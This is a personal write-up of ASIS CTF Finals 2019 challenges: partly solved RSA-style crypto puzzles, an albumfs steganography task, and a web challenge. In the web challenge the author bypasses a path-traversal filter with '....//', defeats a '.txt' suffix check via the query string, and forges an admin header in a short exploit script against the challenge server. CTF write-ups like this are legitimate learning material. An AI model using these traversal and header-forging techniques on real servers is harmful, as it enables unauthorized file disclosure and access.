1 # <u>ASIS CTF Finals 2019</u>
\r
11 A sincere gift for cryptographers, enjoy solving it!
\r
17 We are provided with a code and output. Let's inspect the code!
\r
19 The name "Serifin" does not lead anywhere, it seems to be only a very unusual/made up name.
\r
26 from Crypto.Util.number import *
\r
27 from flag import flag
\r
33 S += float(a)/float(l)
\r
37 s, a = S, float(a)/float(l)
\r
42 if p % 9 == 1 and p % 27 >= 2:
\r
43 q = gmpy2.next_prime(serifin(p, 3) + serifin(p, 9) + serifin(p, 27))
\r
44 if q % 9 == 1 and q % 27 >= 2:
\r
45 return int(p), int(q)
\r
48 m = bytes_to_long(m)
\r
53 p, q = genPrime(nbit)
\r
55 c = encrypt(flag, n)
\r
61 We are presented with an unsual crypto scheme. The way the keys are generated seems funky, there might be a vulnerability. Running the code takes a few seconds, there must be some intensive calculations taking place!
\r
69 if p % 9 == 1 and p % 27 >= 2:
\r
70 q = gmpy2.next_prime(serifin(p, 3) + serifin(p, 9) + serifin(p, 27))
\r
71 if q % 9 == 1 and q % 27 >= 2:
\r
72 return int(p), int(q)
\r
75 An 512 bit long prime number is generated, which is in residue class 2 of 9 and a residue class greater than 1 of 27. Then the first consecutive prime number is returned after the sum `serifin(p, 3) + serifin(p, 9) + serifin(p, 27)`, this sum should also fulfill the same residue class condition.
\r
83 S += float(a)/float(l)
\r
87 s, a = S, float(a)/float(l)
\r
90 This functions first parameter is always a prime number satisfying the residue class condition, the second parameters are either 3, 9 or 27. A first observation is that the function always returns a number relatively close to the first parameter, the larger the second parameter the closer it is. This seems to be due to the fact that the function "pumps up" the original prime, in each step increasing it with ratio of this difference to the second parameter.
\r
94 For example the function call serifin(999331 ,27) results in the following steps:
\r
98 > DIFF: 37012.25925925926 # 999331/27
\r
100 > S: 1036343.2592592592
\r
101 > s: 1036343.2592592592
\r
102 > DIFF: 1370.8244170096023 # 37012/27
\r
104 > S: 1037714.0836762688
\r
105 > s: 1037714.0836762688
\r
106 > DIFF: 50.771274704059344 # 1370/27
\r
108 > S: 1037764.8549509728
\r
109 > s: 1037764.8549509728
\r
110 > DIFF: 1.8804175816318276
\r
112 > S: 1037766.7353685545
\r
113 > s: 1037766.7353685545
\r
114 > DIFF: 0.06964509561599362
\r
116 > S: 1037766.8050136501
\r
117 > s: 1037766.8050136501
\r
118 > DIFF: 0.0025794479857775415
\r
120 > S: 1037766.807593098
\r
121 > s: 1037766.807593098
\r
122 > DIFF: 9.553511058435339e-05
\r
124 The function goes on until this difference gets below 0.0001
\r
126 This seems to be similar to how a convergent series behaves. I tried finding some integral expression to be able to generate the values of serifin, but I did not succeed.
\r
130 #### Technical background
\r
132 CTFtime tagged this even with "coppersmith", let's look into what that means:
\r
134 > The most powerful attacks on low public exponent RSA are based on a Copper-smith theorem.
\r
136 [https://www.utc.edu/center-academic-excellence-cyber-defense/pdfs/course-paper-5600-rsa.pdf]
\r
138 > Particular applications of the Coppersmith method for attacking RSA include cases when the public exponent *e* is small or when partial knowledge of the secret key is available.
\r
140 [https://en.wikipedia.org/wiki/Coppersmith%27s_attack]
\r
142 This hinted attack seems to be based on the fact that the public exponent, in this case the second parameter of serifin is always low 3, 9 or 27. Usually larger numbers such as 65537 are used.
\r
144 > There is no known attack against small public exponents such as *e* = 3, provided that the proper padding is used. Coppersmith's Attack has many applications in attacking RSA specifically if the public exponent *e* is small and if the encrypted message is short and not padded. 65537 is a commonly used value for *e*; this value can be regarded as a compromise between avoiding potential small exponent attacks and still allowing efficient encryptions (or signature verification).
\r
146 [https://en.wikipedia.org/wiki/RSA_(cryptosystem)]
\r
148 One needs to have a low public and imporper padding to be able to apply Coppersmith's attack.
\r
150 Still, with access to
\r
155 c = 78643169701772559588799235367819734778096402374604527417084323620408059019575192358078539818358733737255857476385895538384775148891045101302925145675409962992412316886938945993724412615232830803246511441681246452297825709122570818987869680882524715843237380910432586361889181947636507663665579725822511143923
\r
156 n = 420908150499931060459278096327098138187098413066337803068086719915371572799398579907099206882673150969295710355168269114763450250269978036896492091647087033643409285987088104286084134380067603342891743645230429893458468679597440933612118398950431574177624142313058494887351382310900902645184808573011083971351
\r
159 one would need to be able to factor n.
\r
161 #### Lessons learned
\r
163 1. Algebra and discrete mathematics is vitally important for crypto challenges
\r
164 2. Coppersmith's attack
\r
174 To find out the secrets you will have a voyage through the primordial ocean!
\r
180 We are provided with a program code and an output.
\r
184 **primordial_rsa.py**
\r
188 from Crypto.Util.number import *
\r
190 from flag import flag
\r
196 r = gmpy2.next_prime(q)
\r
204 def gen_prime(nbit):
\r
207 a = primorial(getPrime(random.randint(7, 9)))
\r
208 b = primorial(getPrime(random.randint(2, 5)))
\r
209 for r in range(10**3, 3*10**3, 2):
\r
211 if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit:
\r
214 p, q = gen_prime(512), gen_prime(512)
\r
215 e, n = 65537, p * q
\r
216 flag = bytes_to_long(flag)
\r
217 enc = pow(flag, e, n)
\r
222 The name of the file reveals us, that it has something to do with the RSA crypto scheme. Two 512 bit long prime numbers are generated, the product of which are then used for encryption of the flag. The encryption seems to use a predefined prime (65537) as the exponent for the power function of python.
\r
223 Common modulus attack? Unfortunately that would need two pieces of cyphertext...
\r
225 A closer look at python documentation:
\r
227 `pow(x, y, z)is equal to x^y % z` (This is the definition of RSA encryption.)
\r
229 which translates to (flag^65537) % (p * q)
\r
231 Again, the way how prime numbers are generated seems odd. Let's examine it!
\r
234 def gen_prime(nbit):
\r
237 a = primorial(getPrime(random.randint(7, 9)))
\r
238 b = primorial(getPrime(random.randint(2, 5)))
\r
239 for r in range(10**3, 3*10**3, 2):
\r
241 if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit:
\r
245 Thre "primish" numbers are generated first. The python function getPrime and the primorial function from the code is used:
\r
247 > getPrime(N, randfunc=None)
\r
248 > getPrime(N:int, randfunc:callable):long Return a random N-bit prime number.
\r
250 Let's believe this functioned does what it's supposed to do, generates us a prime number of arbitrary length.
\r
254 Primorial seems a bit more mysterious at first glance: (The name of the function also reveals us important details about the way it functions, see TD)
\r
261 r = gmpy2.next_prime(q)
\r
270 This function seems to generate products of consecutive prime numbers, until they reach a given limit. This does not seem to be a very good idea, also very vulnerable to brute-force factorization. After a few runs of the function one thing becomes clear though, the primes get "pumped up" quite fast.
\r
276 a = primorial(getPrime(random.randint(7, 9)))
\r
277 b = primorial(getPrime(random.randint(2, 5)))
\r
279 The primorial function is always called with very small starting values, and only a small randomness, so it makes its output quite predictable. Brute-force?
\r
283 The first 36 bit number is a bit more random, but still what we have is 3 dodgy primes. To make the main loop more readable I got rid of expressions and made the precedence clearer with parentheses:
\r
286 for r in range(1000, 3000, 2):
\r
287 p = ((s * a) // b) - r
\r
288 if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit:
\r
292 The 3 generated low-randomness primes are gettin multiplied, then floor-divided and subtracted, There is no randomness involved in this function, a loop is simpy iterated 1000 times and when it has reached a given length then its binary representation is returned with the 2 MSBs removed. Now my thinking was completely directed at a brute-force attack.
\r
294 a, b and r are always known to us (we can generate all possible values):
\r
298 from itertools import product
\r
300 def get_all_nbit_primes(n): #USE ONLY WITH LOW N!
\r
303 p=sympy.nextprime(start)
\r
304 p_len=p.bit_length()
\r
309 p=sympy.nextprime(p)
\r
310 p_len=p.bit_length()
\r
315 return get_all_nbit_primes(7) + get_all_nbit_primes(8) + get_all_nbit_primes(9);
\r
318 return get_all_nbit_primes(2) + get_all_nbit_primes(3) + get_all_nbit_primes(4) + get_all_nbit_primes(5);
\r
320 def get_all_32bit_primes(): #VERY SLOW
\r
321 start= 511111111 #heuristic 31bit prime limit
\r
323 p=sympy.nextprime(start)
\r
324 p_len=p.bit_length()
\r
329 p=sympy.nextprime(p)
\r
330 p_len=p.bit_length()
\r
332 def get_all_a_divided_b(a, b):
\r
334 products = list(product(a, b))
\r
337 l.append(p[0] // p[1])
\r
345 print(get_all_a_divided_b(a,b))
\r
348 I was able to enumerate all a and b values, and their dividend, but generating all 32 primes is computationally too intensive to be solved in reasonable time. I did not find any reliable solution to get access to all those numbers at once.
\r
350 Here I ran into a big barrier, the condition `if gmpy2.is_prime(p) and len(bin(p)[2:]) == nbit` seems harder to fulfill than I thought, even if a,b and r are known, them fulfilling this condition is not always given.
\r
352 After getting stuck I looked online for writeups, where they also managed to get all a//b values, but I later realised that this approach could not work, as in the expression `p = s * a // b - r` the operations '*' and '//' are not interchangeable.
\r
354 [https://github.com/p4-team/ctf/blob/master/2019-11-16-asis-finals/primordial/primordial_rsa.py]
\r
356 #### Technical background
\r
360 > A primorial is a product of consecutive prime numbers, starting with the first prime, namely 2.
\r
362 [https://oeis.org/wiki/Primorial]
\r
364 The special property of these numbers makes their factoring relatively easy, which is a serious security threat in an RSA implementation.
\r
370 **type:** forensics
\r
374 An Album Full of Secrets is left for the most curious ones to reveal its secrets!
\r
380 We are given an archive which contains a folder with various images of contemporary actors. There are 15 images, each are named after the depicted actor, nothing seems out of the ordinary, yet. The file details do not reveal anything out of the ordinary, the photos have different sizes.
\r
382 My first idea was to look at all the images with the steganography tools https://georgeom.net/StegOnline/upload and Stegsolve, but neither proved to be successful. I looked at the more detailed image data with exiftool but there was nothing unusual.
\r
386 The first revelations came after using the unix tool `strings`:
\r
388 almost all of the images contained an unusual string: "no SecDrive0", which is not part of the png specification. Also the image `rooney.png` included a base64 looking string at the end.
\r
391 VGhlIHBhc3N3b3JkIGlzOiBhdGFsbWF0YWw=
\r
394 Decrypting it gives an interesting result: "The password is: atalmatal"
\r
396 I tried interpreting it, maybe the images have some kind of encryption. I tried opening them with different software, but nothing worked.
\r
398 I also tried looking around the web for "atalmatal": it seems to be an Iranian children's song. This is not very helpful!
\r
400 I tried looking around for other base64 encoded strings, but I did not find anything.
\r
402 I looked at a writeup, apparently one needs the steganography software "albumfs" to be able to interpret the images.
\r
403 [https://github.com/mgeitz/albumfs]
\r
404 [https://github.com/p4-team/ctf/blob/master/2019-11-16-asis-finals/secrets/README.md]
\r
406 I could not recreate the way how the outhers could have found it, they write
\r
408 > after some extensive googling
\r
410 maybe it means some special proficiency in using google!
\r
412 They managed to get the flag after debugging and fixing a segfault in the software.
\r
414 #### Technical background
\r
416 AlbumFS is a steganography file system implementation:
\r
418 > Create, access, and modify a key encrypted LSB steganography filesystem in user space using a directory of PNG images.
\r
420 [https://github.com/mgeitz/albumfs]
\r
422 The LSB of each byte making up the images is modified, data is hidden there. That means that for our album of 11.6 MB, 1.45 MB worth of data can be hidden.
\r
424 Steganographic file systems seem to have been existing for a long time although not widely used, the most known being StegFS. It can hide data among random "gibberish" looking byte chunks.
\r
426 #### Lessons learned
\r
428 - Google skills are important!
\r
429 - Steganography exists in a lot of applications
\r
439 A game for grown ups, just play with bits to find out the sought after secret.
\r
445 We are provided with a python code and an output again. I started to notice a pattern here, as to how ASIS crypto challenges are built up. I am expecting some lousy key-generation function involving primes.
\r
453 from Crypto.Util.number import *
\r
454 from flag import flag
\r
456 def gen_rand(nbit, l):
\r
459 r = random.randint(0, nbit-1)
\r
466 for i in range(l-1):
\r
467 rbit += (R[i+1] - R[i] - 1) * '0' + '1'
\r
468 rbit += (nbit - R[-1] - 1) * '0'
\r
469 return int(rbit, 2)
\r
472 n = len(bin(p)[2:])
\r
473 f, skey = gen_rand(n, l), gen_rand(n, l)
\r
474 pkey = f * inverse(skey, p) % p
\r
475 return (p, pkey), skey
\r
477 def encrypt(msg, pkey):
\r
479 msg, enc, n = bytes_to_long(msg), [], len(bin(p)[2:])
\r
480 for b in bin(msg)[2:]:
\r
481 s, t = gen_rand(n, l), gen_rand(n, l)
\r
482 c = (s * g + t) % p
\r
486 enc.append((p-c, t))
\r
489 p = 862718293348820473429344482784628181556388621521298319395315527974911
\r
492 pkey, skey = genkey(p, l)
\r
493 enc = encrypt(flag, pkey)
\r
494 H = pkey[1] ** 2 % p
\r
499 Only what we expected, we have an unusual take on the RSA-scheme with an unusual way of generating keys.
\r
503 The first thing that stands out is the fact that there is a hard-coded very large prime included.
\r
505 `p = 862718293348820473429344482784628181556388621521298319395315527974911`
\r
507 A quick google search tells us its a Mersenne number (see TD), a number with a special quality, it can be written as 2^n-1, in this case n = 229, this might prove useful later.
\r
509 For a long time I was under the impression and trying to think out solutions based on the fact, that all Mersenne numbers are primes, but this proved to be false. p is not a prime!
\r
511 [https://www.mersenne.org/primes/]
\r
513 [https://www.wikidata.org/wiki/Q67211903]
\r
515 This will result in n being a constant number, it always equals to 229.
\r
519 Taking a closer look at the functions:
\r
522 def gen_rand(nbit, l):
\r
525 r = random.randint(0, nbit-1)
\r
532 for i in range(l-1):
\r
533 rbit += (R[i+1] - R[i] - 1) * '0' + '1'
\r
534 rbit += (nbit - R[-1] - 1) * '0'
\r
535 return int(rbit, 2)
\r
538 n = len(bin(p)[2:])
\r
539 f, skey = gen_rand(n, l), gen_rand(n, l)
\r
540 pkey = (f * inverse(skey, p)) % p
\r
541 return (p, pkey), skey
\r
544 The definition of the inverse function from the Crypto.Util.number library:
\r
548 inverse(u:long, v:long):long Return the inverse of u mod v.
\r
551 Two random numbers are generated, these are 2 bits shorter than the prime p. The inverse residue is multiplied with the first generated number and the modulo of restclass p is taken from their product.
\r
553 gen_rand does some very unusual bitwise operations with sorted congruents of the length.
\r
555 I tried factoring p with the sympy library, but it took too long, I think to be able to start off an efficient solution, one needs to be able to access the factors of p.
\r
557 #### Technical background
\r
561 > Mersenne numbers are integers of the form Mn = 2^n-1 (many authors require that the exponent *n* be a prime. They are of interest because the Mersenne primes (prime Mersenne numbers) are among the oldest and most studied of all primes!
\r
563 [https://primes.utm.edu/glossary/page.php?sort=MersenneNumber]
\r
565 Mersenne numbers seem interesting, but their use in cryptography cannot be that extensive, as if they are recognized, their factoring becomes unambigous.
\r
569 ## Protected area 1
\r
575 We have built an area protected by a hard password
\r
577 Note: DO NOT Brute force the server (the rate limit will ban you), the question may need an OFFLINE brute-force!
\r
581 #### Recon + solution
\r
583 We are given access to a website which includes a JS file:
\r
586 var file_check = function(file){
\r
589 url: '/check_perm/readable/',
\r
590 data: {'file': file}
\r
591 }).done(function(data){
\r
592 if (data == "True") {
\r
595 console.log('fail')
\r
600 var file_read = function(file){
\r
603 url: '/read_file/',
\r
604 data: {'file': file}
\r
605 }).done(function(data){
\r
612 var update_page = function(text){
\r
613 $("#t").append(text)
\r
616 $(document).ready(function() {
\r
617 console.log("ready!");
\r
619 file_check('public.txt');
\r
623 The file seems to be an AJAX interface connecting to a backend service.
\r
625 We are given the opportunity to open files, if they are present in the '/check_perm/readable/' folder.
\r
627 Two GET requests are made immediately after opening the webpage:
\r
630 http://66.172.33.148:8008/check_perm/readable/?file=public.txt
\r
631 http://66.172.33.148:8008/read_file/?file=public.txt
\r
634 This gives us an idea how the basic structure of the website is built up, two folders, '/check_perm/readable' and '/read_file'. We easily recognize that these requests result from the function call `file_check('public.txt');` which firsts checks if the file is readable, then presents us the results.
\r
636 The logical thing was to try some form of directory traversal, but our `../` get filtered out.
\r
641 http://66.172.33.148:8008/read_file/?file=../files/public.txt
\r
644 do not work and result in an error.
\r
646 I felt stuck here, but in the mattermost channel I saw that others have worked on the challenge too and were trying to solve it, here someone advised to try to outwit the filtering.
\r
648 After some playing around and reading the chat:
\r
651 http://66.172.33.148:8008/read_file/?file=....//files/public.txt
\r
654 worked, and we get the same result, as when loading the webpage.
\r
656 The only remaining problem was being restricted to .txt files. I tried tricking the engine by sending requests like "public.x.txt" and "public.txt.txt" but I received security errors. My next idea was to try some kind of escape sequence, so that the solution does not get checked, but I could not find any viable way of implementing it.
\r
658 The breakthrough came when we recognized, that when sending extra parameters like:
\r
661 file=....//files/public&extra_param?public.txt
\r
664 only the extra_param got filtered!
\r
666 After reading out on the mattermost chat, I managed to get access to:
\r
671 from flask import Flask
\r
674 """Construct the core application."""
\r
675 app = Flask(__name__, instance_relative_config=False)
\r
677 with app.app_context():
\r
679 from . import api return app
\r
685 from flask import current_app as app
\r
686 from flask import request, render_template, send_file
\r
687 from .functions import *
\r
688 from config import *
\r
691 @app.route('/check_perm/readable/', methods=['GET'])
\r
692 def app_check_file() -> str:
\r
694 file = request.args.get("file")
\r
696 file_path = os.path.normpath('application/files/{}'.format(file))
\r
697 with open(file_path, 'r') as f:
\r
698 return str(f.readable())
\r
702 @app.route('/read_file/', methods=['GET'])
\r
703 def app_read_file() -> str:
\r
705 file = request.args.get("file").replace('../', '')
\r
706 qs = request.query_string.decode('UTF-8')
\r
708 if qs.find('.txt') != (len(qs) - 4):
\r
712 return send_file('files/{}'.format(file))
\r
713 except Exception as e:
\r
716 @app.route('/protected_area_0098', methods=['GET'])
\r
718 def app_protected_area() -> str:
\r
721 @app.route('/', methods=['GET'])
\r
722 def app_index() -> str:
\r
723 return render_template('index.html')
\r
725 @app.errorhandler(404)
\r
726 def not_found_error(error) -> str:
\r
730 We got to know, that the serves is running a Flask REST endpoint and that the flag rests in '/protected_area_0098', but this "area" has an additional layer of protection. Now we need to somehow get access to it! It also became revealed that a python file containing functions used and a config file is used.
\r
738 """Set Flask configuration vars from .env file."""
\r
741 FLAG = os.environ.get('FLAG')
\r
743 ADMIN_PASS = "b5ec168843f71c6f6c30808c78b9f55d"
\r
749 from flask import request, abort
\r
750 from functools import wraps
\r
751 import traceback, os, hashlib
\r
752 from config import *
\r
754 def check_login(f):
\r
756 Wraps routing functions that require a user to be logged in
\r
759 def wrapper(*args, **kwds):
\r
761 ah = request.headers.get('ah')
\r
763 if ah == hashlib.md5((Config.ADMIN_PASS + Config.SECRET).encode("utf- 8")).hexdigest():
\r
764 return f(*args, **kwds)
\r
774 The additional protection is an admin password, which we to calculate. And then send as an "ah" header field. Fortunately we have access to the hash and the secret.
\r
776 Armed with this information we can construct an exploit to get the flag!
\r
782 a_pass = hashlib.md5("b5ec168843f71c6f6c30808c78b9f55d" + "s3cr3t").hexdigest()
\r
783 url = 'http://66.172.33.148:8008/protected_area_0098'
\r
784 res = requests.get("http://66.172.33.148:8008/protected_area_0098",
\r
785 headers={"ah" : a_pass})
\r
790 ASIS{f70a0203d638a0c90a490ad46a94e394}
\r
792 #### Lessons learned
\r
794 - Using the Kali tool DirBuster